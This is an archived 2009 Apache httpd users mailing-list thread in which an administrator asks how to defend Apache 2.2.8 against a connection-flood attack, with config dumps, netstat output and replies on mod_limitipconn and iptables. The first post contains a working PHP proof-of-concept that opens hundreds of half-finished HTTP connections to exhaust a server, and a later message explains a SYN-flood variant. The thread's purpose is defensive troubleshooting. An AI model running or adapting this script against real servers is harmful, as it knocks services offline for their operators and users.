You are viewing a plain text version of this content. The canonical link for it is here.
Posted to users@httpd.apache.org by Kanstantin Reznichak <k....@pcpin.com> on 2009/04/13 19:26:05 UTC
[users@httpd] Connection flood: how to protect?
Hello,
One of my servers was affected by TCP flood attack targeted to http service
(Apache 2.2.8). Short attack description: an attacker opens large amount of
TCP connections to Apache service and sends few bytes (for example, a single
"GET / HTTP/1.1" line) to every opened connection. The HTTP service opens a
new process for every such connection and waits for further input. After a
short time, HTTPd runs out of connection limit and stops responding.
Some of my servers are protected by state tracking firewall that protects
them against such kind of attack.
My question: is there possible to configure Apache HTTPd in order to protect
it against these attacks?
Thank you in advance.
############################################################################
#########
Here is the simple PHP script that demonstrates the attack:
<?php
/**
* Proof of concept script: TCP connection flooding
* THIS SCRIPT WAS WRITTEN FOR INTERNAL TEST PURPOSES ONLY!!!
*/
// "Victim" server IP address or domain name
$target_host='192.168.2.222';
// TCP port (normally, 80)
$target_port=25;
$conn=array();
for ($i=0; $i<500; $i++) {
if ($conn[$i]=@fsockopen($target_host, $target_port)) {
echo "Connection #$i opened\n";
flush();
fwrite($conn[$i], "GET / HTTP/1.1\r\n"); // lets send the first line and
grab an apache process
}
}
sleep(30); // The server must be blocked until the script exits
?>
############################################################################
#########
Here is some local Apache data:
# /usr/sbin/apache2ctl -V
Server version: Apache/2.2.8 (Ubuntu)
Server built: Mar 10 2009 18:09:51
Server's Module Magic Number: 20051115:11
Server loaded: APR 1.2.11, APR-Util 1.2.12
Compiled using: APR 1.2.11, APR-Util 1.2.12
Architecture: 64-bit
Server MPM: Prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APACHE_MPM_DIR="server/mpm/prefork"
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=128
-D HTTPD_ROOT=""
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_LOCKFILE="/var/run/apache2/accept.lock"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="/etc/apache2/mime.types"
-D SERVER_CONFIG_FILE="/etc/apache2/apache2.conf"
############################################################################
#########
# cat apache2.conf |egrep "^[a-zA-Z0-9 \t<].*"
ServerRoot "/etc/apache2"
LockFile /var/lock/apache2/accept.lock
PidFile ${APACHE_PID_FILE}
Timeout 15
KeepAlive Off
MaxKeepAliveRequests 100
KeepAliveTimeout 10
<IfModule mpm_prefork_module>
StartServers 5
MinSpareServers 5
MaxSpareServers 10
MaxClients 100
MaxRequestsPerChild 0
</IfModule>
<IfModule mpm_worker_module>
StartServers 2
MaxClients 100
MinSpareThreads 25
MaxSpareThreads 50
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
AccessFileName .htaccess
<Files ~ "^\.ht">
Order allow,deny
Deny from all
</Files>
DefaultType text/plain
HostnameLookups Off
ErrorLog /var/log/apache2/error.log
LogLevel warn
Include /etc/apache2/mods-enabled/*.load
Include /etc/apache2/mods-enabled/*.conf
Include /etc/apache2/httpd.conf
Include /etc/apache2/ports.conf
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""
combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
ServerTokens Prod
ServerSignature Off
Include /etc/apache2/conf.d/
AW: [users@httpd] Connection flood: how to protect?
Posted by Kanstantin Reznichak <k....@pcpin.com>.
Yes, that's it. My current experience with Linux iptables was not enough for
define reliable rules against synflood'ing. All my other servers are either
OpenBSD itself or located behind OpenBSD's PF which provides effective
flooding protection.
The problem was solved by adding appropriate rules to iptables based on
following tutorial: http://www.debian-administration.org/articles/187
I have also followed your advice and increased Apache connection limits.
Thank you!
-----Ursprüngliche Nachricht-----
Von: Sean Conner [mailto:spc@conman.org]
Gesendet: Dienstag, 14. April 2009 22:14
An: users@httpd.apache.org
Betreff: Re: [users@httpd] Connection flood: how to protect?
It was thus said that the Great Kanstantin Reznichak once stated:
> Hello,
>
> Thank you for reply. Unfortunately, mod-limitipconn seems to act too late.
> After installing and enabling it:
> <Location />
> MaxConnPerIP 15
> </Location>
>
> Netstat shows:
> # netstat -atn
> Active Internet connections (servers and established)
> Proto Recv-Q Send-Q Local Address Foreign Address State
> tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3930
SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3316
SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4147
SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3854
SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1500
SYN_RECV
That's a SYN flood, and I've been on the receiving end of those, and I've
wrote about what I did to reduce the problem under Linux.
http://boston.conman.org/2005/08/11.2 (summary of the link below)
http://boston.conman.org/2004/01/04.2
Hopefully, some of that is helpful to you.
-spc
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
Re: [users@httpd] Connection flood: how to protect?
Posted by Sean Conner <sp...@conman.org>.
It was thus said that the Great Kanstantin Reznichak once stated:
> Hello,
>
> Thank you for reply. Unfortunately, mod-limitipconn seems to act too late.
> After installing and enabling it:
> <Location />
> MaxConnPerIP 15
> </Location>
>
> Netstat shows:
> # netstat -atn
> Active Internet connections (servers and established)
> Proto Recv-Q Send-Q Local Address Foreign Address State
> tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3930 SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3316 SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4147 SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3854 SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1500 SYN_RECV
That's a SYN flood, and I've been on the receiving end of those, and I've
wrote about what I did to reduce the problem under Linux.
http://boston.conman.org/2005/08/11.2 (summary of the link below)
http://boston.conman.org/2004/01/04.2
Hopefully, some of that is helpful to you.
-spc
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
AW: [users@httpd] Connection flood: how to protect?
Posted by Kanstantin Reznichak <k....@pcpin.com>.
Heh, thanks for the tip. Of course, I've tried to apply MaxConnPerIP to
particular location used by affected virtual host, with no success. Please
check my previous reply that contains my explanations and assumption about
the reasons why mod-limitipconn seems to be useless ;)
-----Ursprüngliche Nachricht-----
Von: William A. Rowe, Jr. [mailto:wrowe@rowe-clan.net]
Gesendet: Dienstag, 14. April 2009 22:15
An: users@httpd.apache.org
Betreff: Re: [users@httpd] Connection flood: how to protect?
Kanstantin Reznichak wrote:
> Hello,
>
> Thank you for reply. Unfortunately, mod-limitipconn seems to act too late.
> After installing and enabling it:
> <Location />
> MaxConnPerIP 15
> </Location>
Read what you wrote. Location / - you are asking apache to do nothing
until it has torn apart the request and figured out that it applies to
a particular location. You got what you asked for.
Don't you want to limit that Globally or in the physical IP VirtualHost
scope?
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
Re: [users@httpd] Connection flood: how to protect?
Posted by "William A. Rowe, Jr." <wr...@rowe-clan.net>.
Kanstantin Reznichak wrote:
> Hello,
>
> Thank you for reply. Unfortunately, mod-limitipconn seems to act too late.
> After installing and enabling it:
> <Location />
> MaxConnPerIP 15
> </Location>
Read what you wrote. Location / - you are asking apache to do nothing
until it has torn apart the request and figured out that it applies to
a particular location. You got what you asked for.
Don't you want to limit that Globally or in the physical IP VirtualHost
scope?
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
AW: AW: [users@httpd] Connection flood: how to protect?
Posted by Kanstantin Reznichak <k....@pcpin.com>.
There is about 10 source ips firing onto my server. All of them are dynamic
dsl accounts; the only effective way to stop them was to block the all ip
ranges of their isp.
The problem was solved:
1. Apache connection limits increased dramatically and
2. FINALLY(!!!) configured iptables to recognize and drop excessive
connection attempts: http://www.debian-administration.org/articles/187
Many thanks for replies!
p.s. (offtopic) my honest wish is: PF (the OpenBSD Packet Filter) supported
by Linux kernel :)
-----Ursprüngliche Nachricht-----
Von: Justin Pasher [mailto:justinp@newmediagateway.com]
Gesendet: Dienstag, 14. April 2009 21:25
An: users@httpd.apache.org
Betreff: Re: AW: [users@httpd] Connection flood: how to protect?
Kanstantin Reznichak wrote:
> The script from my first post send the single "GET / HTTP 1.1" line,
> followed by <CR><LF>. The request is incomplete so mod_limitipconn seems
to
> wait until client complete the request headers block (by sending
> <CR><LF><CR><LF>) in order to reject the request: RFC-conform behaviour,
but
> absolutely useless in this case. That produces alot of "ESTABLISHED"
> connections (btw, much more than allowed by mod_limitipconn 10). Such kind
> of attack can be tracked by error_log:
> [Tue Apr 14 20:43:36 2009] [error] [client x.x.x.x] request failed: error
> reading the headers
>
That seems to confirm my suspicion. mod_limitipconn won't kick in until
the request is actually made, which means that it won't work for "bots"
that don't actually complete the connection. However, are you actually
experiencing a problem with more than a handful of people doing this, or
it more academic? Except in the case where someone specifically codes
something to do this (like your script), a normal connection will be
completed correctly, and mod_limitipconn will kick in. If someone is
truly abusing this by opening connections and not completing the
request, it sounds like an issue better handled by the firewall (i.e.
just block them). On my servers, I have very little tolerance for people
that try to abuse things, such as spamming forms or trying to find SQL
injection spots. If I see that happening, I block them. You may
occasionally block a dynamic IP that another poor soul acquires later
on, but I'd rather block a few innocent people than have someone hack
into a web site through a security hole.
> The script can also be turned into "synflood" one: just comment-out the
line
> that sends a "GET" to the server. That causes alot of "SYN_RECV"-like
> connections and no records in Apache logs.
>
>
> Both variants cause the server to be unavailable. The first one is
> definitely an Apache issue. However, I'm not really sure whether that's a
> bug or not...
I wouldn't really classify it as a bug, although it's still annoying to
deal with. It's kind of the nature of TCP connections. Anytime you try
to establish a connection to a TCP service, the remote end receives the
request, sends a reply, and waits for an answer. If an answer is not
received within a certain time frame (i.e. the timeout setting defined
by that service or daemon), the connection drops. Otherwise, it will
have to continue to wait for a response. This is critical for situations
where the connection is either very slow or is flaky and drops out
frequently. The "Timeout" directive in Apache is what determines how
long Apache will wait.
--
Justin Pasher
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
Re: AW: [users@httpd] Connection flood: how to protect?
Posted by Justin Pasher <ju...@newmediagateway.com>.
Kanstantin Reznichak wrote:
> The script from my first post send the single "GET / HTTP 1.1" line,
> followed by <CR><LF>. The request is incomplete so mod_limitipconn seems to
> wait until client complete the request headers block (by sending
> <CR><LF><CR><LF>) in order to reject the request: RFC-conform behaviour, but
> absolutely useless in this case. That produces alot of "ESTABLISHED"
> connections (btw, much more than allowed by mod_limitipconn 10). Such kind
> of attack can be tracked by error_log:
> [Tue Apr 14 20:43:36 2009] [error] [client x.x.x.x] request failed: error
> reading the headers
>
That seems to confirm my suspicion. mod_limitipconn won't kick in until
the request is actually made, which means that it won't work for "bots"
that don't actually complete the connection. However, are you actually
experiencing a problem with more than a handful of people doing this, or
it more academic? Except in the case where someone specifically codes
something to do this (like your script), a normal connection will be
completed correctly, and mod_limitipconn will kick in. If someone is
truly abusing this by opening connections and not completing the
request, it sounds like an issue better handled by the firewall (i.e.
just block them). On my servers, I have very little tolerance for people
that try to abuse things, such as spamming forms or trying to find SQL
injection spots. If I see that happening, I block them. You may
occasionally block a dynamic IP that another poor soul acquires later
on, but I'd rather block a few innocent people than have someone hack
into a web site through a security hole.
> The script can also be turned into "synflood" one: just comment-out the line
> that sends a "GET" to the server. That causes alot of "SYN_RECV"-like
> connections and no records in Apache logs.
>
>
> Both variants cause the server to be unavailable. The first one is
> definitely an Apache issue. However, I'm not really sure whether that's a
> bug or not...
I wouldn't really classify it as a bug, although it's still annoying to
deal with. It's kind of the nature of TCP connections. Anytime you try
to establish a connection to a TCP service, the remote end receives the
request, sends a reply, and waits for an answer. If an answer is not
received within a certain time frame (i.e. the timeout setting defined
by that service or daemon), the connection drops. Otherwise, it will
have to continue to wait for a response. This is critical for situations
where the connection is either very slow or is flaky and drops out
frequently. The "Timeout" directive in Apache is what determines how
long Apache will wait.
--
Justin Pasher
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
AW: [users@httpd] Connection flood: how to protect?
Posted by Kanstantin Reznichak <k....@pcpin.com>.
The script from my first post send the single "GET / HTTP 1.1" line,
followed by <CR><LF>. The request is incomplete so mod_limitipconn seems to
wait until client complete the request headers block (by sending
<CR><LF><CR><LF>) in order to reject the request: RFC-conform behaviour, but
absolutely useless in this case. That produces alot of "ESTABLISHED"
connections (btw, much more than allowed by mod_limitipconn 10). Such kind
of attack can be tracked by error_log:
[Tue Apr 14 20:43:36 2009] [error] [client x.x.x.x] request failed: error
reading the headers
The script can also be turned into "synflood" one: just comment-out the line
that sends a "GET" to the server. That causes alot of "SYN_RECV"-like
connections and no records in Apache logs.
Both variants cause the server to be unavailable. The first one is
definitely an Apache issue. However, I'm not really sure whether that's a
bug or not...
-----Ursprüngliche Nachricht-----
Von: Justin Pasher [mailto:justinp@newmediagateway.com]
Gesendet: Dienstag, 14. April 2009 19:57
An: users@httpd.apache.org
Betreff: Re: [users@httpd] Connection flood: how to protect?
Kanstantin Reznichak wrote:
> Hello,
>
> Thank you for reply. Unfortunately, mod-limitipconn seems to act too late.
> After installing and enabling it:
> <Location />
> MaxConnPerIP 15
> </Location>
>
> Netstat shows:
> # netstat -atn
> Active Internet connections (servers and established)
> Proto Recv-Q Send-Q Local Address Foreign Address State
> tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3930
SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3316
SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4147
SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3854
SYN_RECV
>
...
If I'm reading the netstat results correctly, it looks like the
connections are still in the very early stages of initialization (maybe
they haven't even reached apache yet). It resembles a synflood attack, I
believe, but I could be wrong. If that truly is the case, that sort of
thing is handled by the firewall.
I personally have not have any problems with mod_limitipconn properly
restricting the number of connections from a single IP address. Keep in
mind that is it context specific too (i.e. if the directive is defined
inside a VirtualHost, it only applies to that VirtualHost). Perhaps it's
just not being applied to the context where you think it should be
applied. Do the entries show up in your apache log at all?
Now that I think about it a little more, are you using your test script
to check this? The test script didn't actually send any HTTP commands,
did it? If not, then that is probably the problem. I think
mod_limitipconn won't actually kick in until you try to make the
request. It will then return a 503 error to the browser (indicating the
service is unavailable).
--
Justin Pasher
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
Re: [users@httpd] Connection flood: how to protect?
Posted by Justin Pasher <ju...@newmediagateway.com>.
Kanstantin Reznichak wrote:
> Hello,
>
> Thank you for reply. Unfortunately, mod-limitipconn seems to act too late.
> After installing and enabling it:
> <Location />
> MaxConnPerIP 15
> </Location>
>
> Netstat shows:
> # netstat -atn
> Active Internet connections (servers and established)
> Proto Recv-Q Send-Q Local Address Foreign Address State
> tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3930 SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3316 SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4147 SYN_RECV
> tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3854 SYN_RECV
>
...
If I'm reading the netstat results correctly, it looks like the
connections are still in the very early stages of initialization (maybe
they haven't even reached apache yet). It resembles a synflood attack, I
believe, but I could be wrong. If that truly is the case, that sort of
thing is handled by the firewall.
I personally have not have any problems with mod_limitipconn properly
restricting the number of connections from a single IP address. Keep in
mind that is it context specific too (i.e. if the directive is defined
inside a VirtualHost, it only applies to that VirtualHost). Perhaps it's
just not being applied to the context where you think it should be
applied. Do the entries show up in your apache log at all?
Now that I think about it a little more, are you using your test script
to check this? The test script didn't actually send any HTTP commands,
did it? If not, then that is probably the problem. I think
mod_limitipconn won't actually kick in until you try to make the
request. It will then return a 503 error to the browser (indicating the
service is unavailable).
--
Justin Pasher
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
RE: [users@httpd] Connection flood: how to protect?
Posted by Kanstantin Reznichak <k....@pcpin.com>.
Hello,
Thank you for reply. Unfortunately, mod-limitipconn seems to act too late.
After installing and enabling it:
<Location />
MaxConnPerIP 15
</Location>
Netstat shows:
# netstat -atn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3930 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3316 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4147 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3854 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1500 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3931 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):2325 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1652 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1499 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1710 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1125 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1913 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):2445 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3929 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1119 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4602 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3518 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1529 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1551 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1502 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3122 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1311 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3529 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3856 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4714 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1680 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3286 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1120 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1651 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3123 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4329 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):2285 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):2488 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1653 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1296 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4709 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1530 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3747 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4438 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):4445 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3907 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):3124 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1597 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):2318 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1497 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):2333 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1179 SYN_RECV
tcp 0 0 (MY-SERVER-IP):80 (ATTACKER-IP):1707 SYN_RECV
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4309 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3897 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3969 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1292 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4315 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):2121 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1314 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3082 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1923 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):2719 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4075 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4323 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3533 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3579 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4284 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4112 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3270 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):2469 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):2468 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4588 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1088 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1897 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3694 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1900 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3649 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):2047 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1090 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1315 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1490 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4310 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1130 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1130 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4079 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1093 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4080 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1094 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1049 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1908 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4078 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4705 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3342 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3087 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):2920 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):4340 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3268 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1091 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3269 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1898 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):3784 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1097 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):2476 LAST_ACK
tcp 0 1 (MY-SERVER-IP):80 (ATTACKER-IP):1899 LAST_ACK
The server does not respond to HTTP anymore...
-----Ursprüngliche Nachricht-----
Von: Justin Pasher [mailto:justinp@newmediagateway.com]
Gesendet: Montag, 13. April 2009 22:47
An: users@httpd.apache.org
Cc: k.reznichak@pcpin.com
Betreff: Re: [users@httpd] Connection flood: how to protect?
Kanstantin Reznichak wrote:
>
> Hello,
>
> One of my servers was affected by TCP flood attack targeted to http
> service (Apache 2.2.8). Short attack description: an attacker opens
> large amount of TCP connections to Apache service and sends few bytes
> (for example, a single GET / HTTP/1.1 line) to every opened
> connection. The HTTP service opens a new process for every such
> connection and waits for further input. After a short time, HTTPd runs
> out of connection limit and stops responding.
>
> Some of my servers are protected by state tracking firewall that
> protects them against such kind of attack.
>
